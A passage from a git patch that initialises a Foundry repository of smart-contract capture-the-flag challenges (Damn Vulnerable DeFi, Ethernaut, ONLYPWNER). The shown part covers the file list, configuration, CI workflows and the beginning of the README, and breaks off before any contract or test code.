From 2d20a9d93dd342d32e2250158cac3f2627be25b1 Mon Sep 17 00:00:00 2001 From: Boris Date: Mon, 16 Oct 2023 14:51:50 +0800 Subject: [PATCH] =?UTF-8?q?init=20=F0=9F=A5=AC.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .editorconfig | 19 + .env.example | 11 + .gitattributes | 1 + .github/FUNDING.yml | 1 + .github/scripts/rename.sh | 38 ++ .github/workflows/ci.yml | 94 ++++ .github/workflows/create.yml | 52 ++ .gitignore | 17 + .gitmodules | 102 ++++ .prettierignore | 18 + .prettierrc.yaml | 7 + .solhint.json | 20 + .solhintignore | 1 + .vscode/extensions.json | 3 + .vscode/settings.json | 13 + LICENSE.md | 16 + Makefile | 11 + README.md | 161 ++++++ .../00.Base/DamnValuableNFT.sol | 27 + .../00.Base/DamnValuableToken.sol | 14 + .../00.Base/DamnValuableTokenSnapshot.sol | 31 ++ .../Damn-Vulnerable-DeFi/01.Unstoppable.sol | 180 +++++++ .../02.Naive-Receiver.sol | 145 ++++++ .../CTF/Damn-Vulnerable-DeFi/03.Truster.sol | 47 ++ .../Damn-Vulnerable-DeFi/04.Side-Entrance.sol | 69 +++ .../Damn-Vulnerable-DeFi/05.The-Rewarder.sol | 220 ++++++++ .../CTF/Damn-Vulnerable-DeFi/06.Selfie.sol | 249 +++++++++ .../Damn-Vulnerable-DeFi/07.Compromised.sol | 176 +++++++ .../CTF/Damn-Vulnerable-DeFi/08.Puppet.sol | 2 + .../CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol | 2 + .../Damn-Vulnerable-DeFi/10.Free-Rider.sol | 264 ++++++++++ .../CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol | 206 ++++++++ .../CTF/Damn-Vulnerable-DeFi/12.Climber.sol | 275 ++++++++++ .../Damn-Vulnerable-DeFi/13.Wallet-Mining.sol | 2 + .../CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol | 2 + .../Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol | 2 + contracts/CTF/Ethernaut/00_Ethernaut.sol | 74 +++ contracts/CTF/Ethernaut/01_Fallback.sol | 66 +++ contracts/CTF/Ethernaut/02_Fallout.sol | 52 ++ contracts/CTF/ONLYPWNER/01.FREEBIE.sol | 39 ++ contracts/CTF/ONLYPWNER/02.TUTORIAL.sol | 29 ++ .../CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol | 102 ++++ contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol | 68 +++ contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol | 99 ++++ contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol | 119 +++++ .../CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol | 87 ++++ .../CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol | 130 +++++ contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol | 82 +++ contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol | 85 ++++ contracts/CTF/ONLYPWNER/11.DIVERSION.sol | 3 + .../CTF/ONLYPWNER/11.DIVERSION/Farming.sol | 107 ++++ .../CTF/ONLYPWNER/11.DIVERSION/Oracle.sol | 22 + .../11.DIVERSION/ReentrancyGuard.sol | 13 + .../11.DIVERSION/interfaces/IFarming.sol | 8 + .../interfaces/IMintableERC20.sol | 10 + .../11.DIVERSION/interfaces/IOracle.sol | 8 + .../11.DIVERSION/interfaces/IWETH.sol | 10 + .../11.DIVERSION/token/MintableERC20.sol | 22 + .../CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol | 80 +++ .../11.DIVERSION/uniswap/DependencyRouter.sol | 11 + contracts/CTF/ONLYPWNER/12.PAYDAY.sol | 63 +++ contracts/DeFi/.gitkeep | 0 foundry.toml | 67 +++ foundry/script/.gitkeep | 0 foundry/script/CTF/.gitkeep | 0 .../script/CTF/ONLYPWNER/01.TUTORIAL.s.sol | 51 ++ .../CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol | 35 ++ foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol | 51 ++ .../CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol | 40 ++ foundry/test/.gitkeep | 0 .../Damn-Vulnerable-DeFi/01.Unstoppable.t.sol | 74 +++ .../02.Naive-Receiver.t.sol | 79 +++ .../CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol | 61 +++ .../04.Side-Entrance.t.sol | 64 +++ .../05.The-Rewarder.t.sol | 134 +++++ .../CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol | 73 +++ .../Damn-Vulnerable-DeFi/07.Compromised.t.sol | 116 +++++ .../CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol | 45 ++ .../Damn-Vulnerable-DeFi/10.Free-Rider.t.sol | 155 ++++++ .../Damn-Vulnerable-DeFi/11.Backdoor.t.sol | 98 ++++ .../CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol | 55 ++ .../13.Wallet-Mining.t.sol | 45 ++ .../Damn-Vulnerable-DeFi/14.Puppet-V3.t.sol | 45 ++ .../15.ABI-Smuggling.t.sol | 46 ++ foundry/test/CTF/Ethernaut/01_Fallback.t.sol | 58 +++ foundry/test/CTF/Ethernaut/02_Fallout.t.sol | 52 ++ .../CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol | 71 +++ .../CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol | 51 ++ .../test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol | 52 ++ hardhat/.gitkeep | 0 package.json | 33 ++ pnpm-lock.yaml | 474 ++++++++++++++++++ remappings.txt | 15 + 93 files changed, 6027 insertions(+) create mode 100644 .editorconfig create mode 100644 .env.example create mode 100644 .gitattributes create mode 100644 .github/FUNDING.yml create mode 100755 .github/scripts/rename.sh create mode 100644 .github/workflows/ci.yml create mode 100644 .github/workflows/create.yml create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 .prettierignore create mode 100644 .prettierrc.yaml create mode 100644 .solhint.json create mode 100644 .solhintignore create mode 100644 .vscode/extensions.json create mode 100644 .vscode/settings.json create mode 100644 LICENSE.md create mode 100644 Makefile create mode 100644 README.md create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/03.Truster.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/08.Puppet.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/09.Puppet-V2.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol create mode 100644 contracts/CTF/Ethernaut/00_Ethernaut.sol create mode 100644 contracts/CTF/Ethernaut/01_Fallback.sol create mode 100644 contracts/CTF/Ethernaut/02_Fallout.sol create mode 100644 contracts/CTF/ONLYPWNER/01.FREEBIE.sol create mode 100644 contracts/CTF/ONLYPWNER/02.TUTORIAL.sol create mode 100644 contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol create mode 100644 contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol create mode 100644 contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol create mode 100644 contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol create mode 100644 contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol create mode 100644 contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol create mode 100644 contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol create mode 100644 contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol create mode 100644 contracts/CTF/ONLYPWNER/12.PAYDAY.sol create mode 100644 contracts/DeFi/.gitkeep create mode 100644 foundry.toml create mode 100644 foundry/script/.gitkeep create mode 100644 foundry/script/CTF/.gitkeep create mode 100644 foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol create mode 100644 foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol create mode 100644 foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol create mode 100644 foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol create mode 100644 foundry/test/.gitkeep create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol create mode 100644 foundry/test/CTF/Ethernaut/01_Fallback.t.sol create mode 100644 foundry/test/CTF/Ethernaut/02_Fallout.t.sol create mode 100644 foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol create mode 100644 foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol create mode 100644 foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol create mode 100644 hardhat/.gitkeep create mode 100644 package.json create mode 100644 pnpm-lock.yaml create mode 100644 remappings.txt diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..746ae31 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,19 @@ +# EditorConfig http://EditorConfig.org + +# top-most EditorConfig file +root = true + +# All files +[*] +charset = utf-8 +end_of_line = lf +indent_size = 2 +indent_style = space +insert_final_newline = true +trim_trailing_whitespace = true + +[*.sol] +indent_size = 4 + +[*.tree] +indent_size = 1 diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..98c1028 --- /dev/null +++ b/.env.example @@ -0,0 +1,11 @@ +export API_KEY_ALCHEMY="YOUR_API_KEY_ALCHEMY" +export API_KEY_ARBISCAN="YOUR_API_KEY_ARBISCAN" +export API_KEY_BSCSCAN="YOUR_API_KEY_BSCSCAN" +export API_KEY_ETHERSCAN="YOUR_API_KEY_ETHERSCAN" +export API_KEY_GNOSISSCAN="YOUR_API_KEY_GNOSISSCAN" +export API_KEY_INFURA="YOUR_API_KEY_INFURA" +export API_KEY_OPTIMISTIC_ETHERSCAN="YOUR_API_KEY_OPTIMISTIC_ETHERSCAN" +export API_KEY_POLYGONSCAN="YOUR_API_KEY_POLYGONSCAN" +export API_KEY_SNOWTRACE="YOUR_API_KEY_SNOWTRACE" +export MNEMONIC="YOUR_MNEMONIC" +export FOUNDRY_PROFILE="default" diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..e341e63 --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +foundry/lib/** linguist-vendored diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..2c74779 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +github: "6boris" diff --git a/.github/scripts/rename.sh b/.github/scripts/rename.sh new file mode 100755 index 0000000..62e37dd --- /dev/null +++ b/.github/scripts/rename.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +# https://gist.github.com/vncsna/64825d5609c146e80de8b1fd623011ca +set -euo pipefail + +# Define the input vars +GITHUB_REPOSITORY=${1?Error: Please pass username/repo, e.g. prb/foundry-template} +GITHUB_REPOSITORY_OWNER=${2?Error: Please pass username, e.g. prb} +GITHUB_REPOSITORY_DESCRIPTION=${3:-""} # If null then replace with empty string + +echo "GITHUB_REPOSITORY: $GITHUB_REPOSITORY" +echo "GITHUB_REPOSITORY_OWNER: $GITHUB_REPOSITORY_OWNER" +echo "GITHUB_REPOSITORY_DESCRIPTION: $GITHUB_REPOSITORY_DESCRIPTION" + +# jq is like sed for JSON data +JQ_OUTPUT=`jq \ + --arg NAME "@$GITHUB_REPOSITORY" \ + --arg AUTHOR_NAME "$GITHUB_REPOSITORY_OWNER" \ + --arg URL "https://github.com/$GITHUB_REPOSITORY_OWNER" \ + --arg DESCRIPTION "$GITHUB_REPOSITORY_DESCRIPTION" \ + '.name = $NAME | .description = $DESCRIPTION | .author |= ( .name = $AUTHOR_NAME | .url = $URL )' \ + package.json +` + +# Overwrite package.json +echo "$JQ_OUTPUT" > package.json + +# Make sed command compatible in both Mac and Linux environments +# Reference: https://stackoverflow.com/a/38595160/8696958 +sedi () { + sed --version >/dev/null 2>&1 && sed -i -- "$@" || sed -i "" "$@" +} + +# Rename instances of "PaulRBerg/foundry-template" to the new repo name in README.md for badges only +sedi "/gitpod/ s|PaulRBerg/foundry-template|"${GITHUB_REPOSITORY}"|;" "README.md" +sedi "/gitpod-badge/ s|PaulRBerg/foundry-template|"${GITHUB_REPOSITORY}"|;" "README.md" +sedi "/gha/ s|PaulRBerg/foundry-template|"${GITHUB_REPOSITORY}"|;" "README.md" +sedi "/gha-badge/ s|PaulRBerg/foundry-template|"${GITHUB_REPOSITORY}"|;" "README.md" diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..5d6114b --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,94 @@ +name: "CI" + +env: + API_KEY_ALCHEMY: ${{ secrets.API_KEY_ALCHEMY }} + FOUNDRY_PROFILE: "ci" + +on: + workflow_dispatch: + pull_request: + push: + branches: + - "main" + +jobs: + lint: + runs-on: "ubuntu-latest" + steps: + - name: "Check out the repo" + uses: "actions/checkout@v3" + with: + submodules: "recursive" + + - name: "Install Foundry" + uses: "foundry-rs/foundry-toolchain@v1" + + - name: "Install Pnpm" + uses: "pnpm/action-setup@v2" + with: + version: "8" + + - name: "Install Node.js" + uses: "actions/setup-node@v3" + with: + cache: "pnpm" + node-version: "lts/*" + + - name: "Install the Node.js dependencies" + run: "pnpm install" + + - name: "Lint the contracts" + run: "pnpm lint" + + - name: "Add lint summary" + run: | + echo "## Lint result" >> $GITHUB_STEP_SUMMARY + echo "✅ Passed" >> $GITHUB_STEP_SUMMARY + + build: + runs-on: "ubuntu-latest" + steps: + - name: "Check out the repo" + uses: "actions/checkout@v3" + with: + submodules: "recursive" + + - name: "Install Foundry" + uses: "foundry-rs/foundry-toolchain@v1" + + - name: "Build the contracts and print their size" + run: "forge build --sizes" + + - name: "Add build summary" + run: | + echo "## Build result" >> $GITHUB_STEP_SUMMARY + echo "✅ Passed" >> $GITHUB_STEP_SUMMARY + + test: + needs: ["lint", "build"] + runs-on: "ubuntu-latest" + steps: + - name: "Check out the repo" + uses: "actions/checkout@v3" + with: + submodules: "recursive" + + - name: "Install Foundry" + uses: "foundry-rs/foundry-toolchain@v1" + + - name: "Show the Foundry config" + run: "forge config" + + - name: "Generate a fuzz seed that changes weekly to avoid burning through RPC allowance" + run: > + echo "FOUNDRY_FUZZ_SEED=$( + echo $(($EPOCHSECONDS - $EPOCHSECONDS % 604800)) + )" >> $GITHUB_ENV + + - name: "Run the tests" + run: "forge test" + + - name: "Add test summary" + run: | + echo "## Tests result" >> $GITHUB_STEP_SUMMARY + echo "✅ Passed" >> $GITHUB_STEP_SUMMARY diff --git a/.github/workflows/create.yml b/.github/workflows/create.yml new file mode 100644 index 0000000..6cb22c3 --- /dev/null +++ b/.github/workflows/create.yml @@ -0,0 +1,52 @@ +name: "Create" + +# The workflow will run only when the "Use this template" button is used +on: + create: + +jobs: + create: + # We only run this action when the repository isn't the template repository. References: + # - https://docs.github.com/en/actions/learn-github-actions/contexts + # - https://docs.github.com/en/actions/learn-github-actions/expressions + if: ${{ !github.event.repository.is_template }} + permissions: "write-all" + runs-on: "ubuntu-latest" + steps: + - name: "Check out the repo" + uses: "actions/checkout@v3" + + - name: "Update package.json" + env: + GITHUB_REPOSITORY_DESCRIPTION: ${{ github.event.repository.description }} + run: + ./.github/scripts/rename.sh "$GITHUB_REPOSITORY" "$GITHUB_REPOSITORY_OWNER" "$GITHUB_REPOSITORY_DESCRIPTION" + + - name: "Add rename summary" + run: | + echo "## Commit result" >> $GITHUB_STEP_SUMMARY + echo "✅ Passed" >> $GITHUB_STEP_SUMMARY + + - name: "Remove files not needed in the user's copy of the template" + run: | + rm -f "./.github/FUNDING.yml" + rm -f "./.github/scripts/rename.sh" + rm -f "./.github/workflows/create.yml" + + - name: "Add remove summary" + run: | + echo "## Remove result" >> $GITHUB_STEP_SUMMARY + echo "✅ Passed" >> $GITHUB_STEP_SUMMARY + + - name: "Update commit" + uses: "stefanzweifel/git-auto-commit-action@v4" + with: + commit_message: "feat: initial commit" + commit_options: "--amend" + push_options: "--force" + skip_fetch: true + + - name: "Add commit summary" + run: | + echo "## Commit result" >> $GITHUB_STEP_SUMMARY + echo "✅ Passed" >> $GITHUB_STEP_SUMMARY diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..75c302a --- /dev/null +++ b/.gitignore @@ -0,0 +1,17 @@ +# directories +node_modules + +foundry/out +foundry/coverage +foundry/cache +foundry/broadcast + +# files +*.env +*.log +.DS_Store +.pnp.* +lcov.info +yarn.lock + + diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..d0b2caf --- /dev/null +++ b/.gitmodules @@ -0,0 +1,102 @@ +[submodule "foundry/lib/openzeppelin-contracts-v4"] + path = foundry/lib/openzeppelin-contracts-v4 + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/openzeppelin-contracts"] + path = foundry/lib/openzeppelin-contracts + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/forge-std"] + path = foundry/lib/forge-std + url = https://github.com/foundry-rs/forge-std +[submodule "foundry/lib/prb-test"] + path = foundry/lib/prb-test + url = https://github.com/PaulRBerg/prb-test +[submodule "foundry/lib/v2-periphery"] + path = foundry/lib/v2-periphery + url = https://github.com/Uniswap/v2-periphery +[submodule "foundry/lib/v2-core"] + path = foundry/lib/v2-core + url = https://github.com/Uniswap/v2-core +[submodule "foundry/lib/v3-periphery"] + path = foundry/lib/v3-periphery + url = https://github.com/Uniswap/v3-periphery +[submodule "foundry/lib/v3-core"] + path = foundry/lib/v3-core + url = https://github.com/Uniswap/v3-core +[submodule "foundry/lib/v4-periphery"] + path = foundry/lib/v4-periphery + url = https://github.com/Uniswap/v4-periphery +[submodule "foundry/lib/v4-core"] + path = foundry/lib/v4-core + url = https://github.com/Uniswap/v4-core +[submodule "foundry/lib/solmate"] + path = foundry/lib/solmate + url = https://github.com/transmissions11/solmate +[submodule "foundry/lib/solady"] + path = foundry/lib/solady + url = https://github.com/vectorized/solady +[submodule "foundry/lib/safe-contracts"] + path = foundry/lib/safe-contracts + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/lib/openzeppelin-contracts-upgradeable"] + path = foundry/lib/openzeppelin-contracts-upgradeable + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable +[submodule "foundry/lib/openzeppelin-contracts-upgradeable-v4.7.1"] + path = foundry/lib/openzeppelin-contracts-upgradeable-v4.7.1 + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable +[submodule "foundry/lib/openzeppelin-contracts-v4.7.1"] + path = foundry/lib/openzeppelin-contracts-v4.7.1 + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/safe-contracts-v1.3.0"] + path = foundry/lib/safe-contracts-v1.3.0 + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/lib/@uniswap/v2-periphery"] + path = foundry/lib/@uniswap/v2-periphery + url = https://github.com/Uniswap/v2-periphery +[submodule "foundry/lib/@uniswap/v2-core"] + path = foundry/lib/@uniswap/v2-core + url = https://github.com/Uniswap/v2-core +[submodule "foundry/lib/@uniswap/v3-core"] + path = foundry/lib/@uniswap/v3-core + url = https://github.com/Uniswap/v3-core +[submodule "foundry/lib/@uniswap/v3-periphery"] + path = foundry/lib/@uniswap/v3-periphery + url = https://github.com/Uniswap/v3-periphery +[submodule "foundry/lib/@uniswap/v4-core"] + path = foundry/lib/@uniswap/v4-core + url = https://github.com/Uniswap/v4-core +[submodule "foundry/lib/@uniswap/v4-periphery"] + path = foundry/lib/@uniswap/v4-periphery + url = https://github.com/Uniswap/v4-periphery +[submodule "foundry/lib/@gnosis.pm/safe-contracts"] + path = foundry/lib/@gnosis.pm/safe-contracts + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0"] + path = foundry/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/lib/@gnosis.pm/safe-contracts-v1.3.0"] + path = foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/lib/@openzeppelin/contracts"] + path = foundry/lib/@openzeppelin/contracts + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/@openzeppelin/contracts-v4.7.1"] + path = foundry/lib/@openzeppelin/contracts-v4.7.1 + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/@openzeppelin/contracts-upgradeable"] + path = foundry/lib/@openzeppelin/contracts-upgradeable + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable +[submodule "foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1"] + path = foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable +[submodule "foundry/lib/@dev/forge-std"] + path = foundry/lib/@dev/forge-std + url = https://github.com/foundry-rs/forge-std +[submodule "foundry/lib/@dev/prb-test"] + path = foundry/lib/@dev/prb-test + url = https://github.com/PaulRBerg/prb-test +[submodule "foundry/lib/@dev/ds-test"] + path = foundry/lib/@dev/ds-test + url = https://github.com/dapphub/ds-test +[submodule "foundry/lib/@openzeppelin/contracts-v4.7.3"] + path = foundry/lib/@openzeppelin/contracts-v4.7.3 + url = https://github.com/OpenZeppelin/openzeppelin-contracts diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 0000000..e14c166 --- /dev/null +++ b/.prettierignore @@ -0,0 +1,18 @@ +# directories +broadcast +cache +coverage +lib +node_modules +out + +# files +*.env +*.log +.DS_Store +.pnp.* +lcov.info +package-lock.json +pnpm-lock.yaml +yarn.lock +foundry/lib diff --git a/.prettierrc.yaml b/.prettierrc.yaml new file mode 100644 index 0000000..a1ecdbb --- /dev/null +++ b/.prettierrc.yaml @@ -0,0 +1,7 @@ +bracketSpacing: true +printWidth: 120 +proseWrap: "always" +singleQuote: false +tabWidth: 2 +trailingComma: "all" +useTabs: false diff --git a/.solhint.json b/.solhint.json new file mode 100644 index 0000000..cf6ab80 --- /dev/null +++ b/.solhint.json @@ -0,0 +1,20 @@ +{ + "extends": "solhint:recommended", + "rules": { + "code-complexity": ["warn", 10], + "compiler-version": ["error", ">=0.8.0"], + "func-name-mixedcase": "off", + "func-visibility": ["error", { "ignoreConstructors": true }], + "max-line-length": ["error", 130], + "named-parameters-mapping": "off", + "no-console": "off", + "not-rely-on-time": "off", + "one-contract-per-file": "off", + "custom-errors": "off", + "no-empty-blocks": "off", + "contract-name-camelcase": "off", + "const-name-snakecase": "off", + "no-inline-assembly": "off", + "var-name-mixedcase": "off" + } +} diff --git a/.solhintignore b/.solhintignore new file mode 100644 index 0000000..add142e --- /dev/null +++ b/.solhintignore @@ -0,0 +1 @@ +foundry/lib diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..9a51b72 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,3 @@ +{ + "recommendations": ["esbenp.prettier-vscode", "NomicFoundation.hardhat-solidity"] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..f757c45 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,13 @@ +{ + "[solidity]": { + "editor.defaultFormatter": "NomicFoundation.hardhat-solidity" + }, + "[toml]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "npm.exclude": "/foundry/**/lib/**", + // "solidity.formatter": "prettier", + "solidity.formatter": "forge" + // "editor.defaultFormatter": "esbenp.prettier-vscode", + // "editor.formatOnSave": true +} diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..88a2b87 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,16 @@ +MIT License + +Copyright (c) 2023 Paul Razvan Berg + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the Software without restriction, including without limitation the +rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit +persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the +Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR +OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..3e1bab2 --- /dev/null +++ b/Makefile @@ -0,0 +1,11 @@ +VERSION = `git rev-parse --short HEAD` +PROGRAM=gin bar + +all: all test + @echo Run all scripts ... + +lint: + yarn lint + +test: + forge test \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..9ee0380 --- /dev/null +++ b/README.md @@ -0,0 +1,161 @@ +# Awesome Web3 Contracts + +Holds the contracts that web3 developers use on a daily basis, including ethernaut, etc. + +## Install Dependency + +```yarn +yarn +``` + +正常安装 + +```bash + forge install +``` + +安装指定版本 + +```bash + +git submodule update --init --recursive + +# OR +forge install foundry-rs/forge-std@v1.7.1 --no-commit +forge install transmissions11/solmate@0384dbaaa4fcb5715738a9254a7c0a4cb62cf458 --no-commit +forge install vectorized/solady@v0.0.124 --no-commit + +forge install Uniswap/v2-periphery --no-commit +forge install Uniswap/v2-core --no-commit + +forge install Uniswap/v3-periphery --no-commit +forge install Uniswap/v3-core --no-commit + +forge install Uniswap/v4-periphery --no-commit +forge install Uniswap/v4-core --no-commit + +forge install OpenZeppelin/openzeppelin-contracts@v5.0.0 --no-commit +forge install OpenZeppelin/openzeppelin-contracts-upgradeable@v5.0.0 --no-commit + +# OpenZeppelin v4 +v4.7.1 + +git clone https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/openzeppelin-contracts-v4.7.1 && cd foundry/lib/openzeppelin-contracts-v4.7.1 && git checkout tags/v4.7.1 + +git clone https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/openzeppelin-contracts-upgradeable-v4.7.1 && 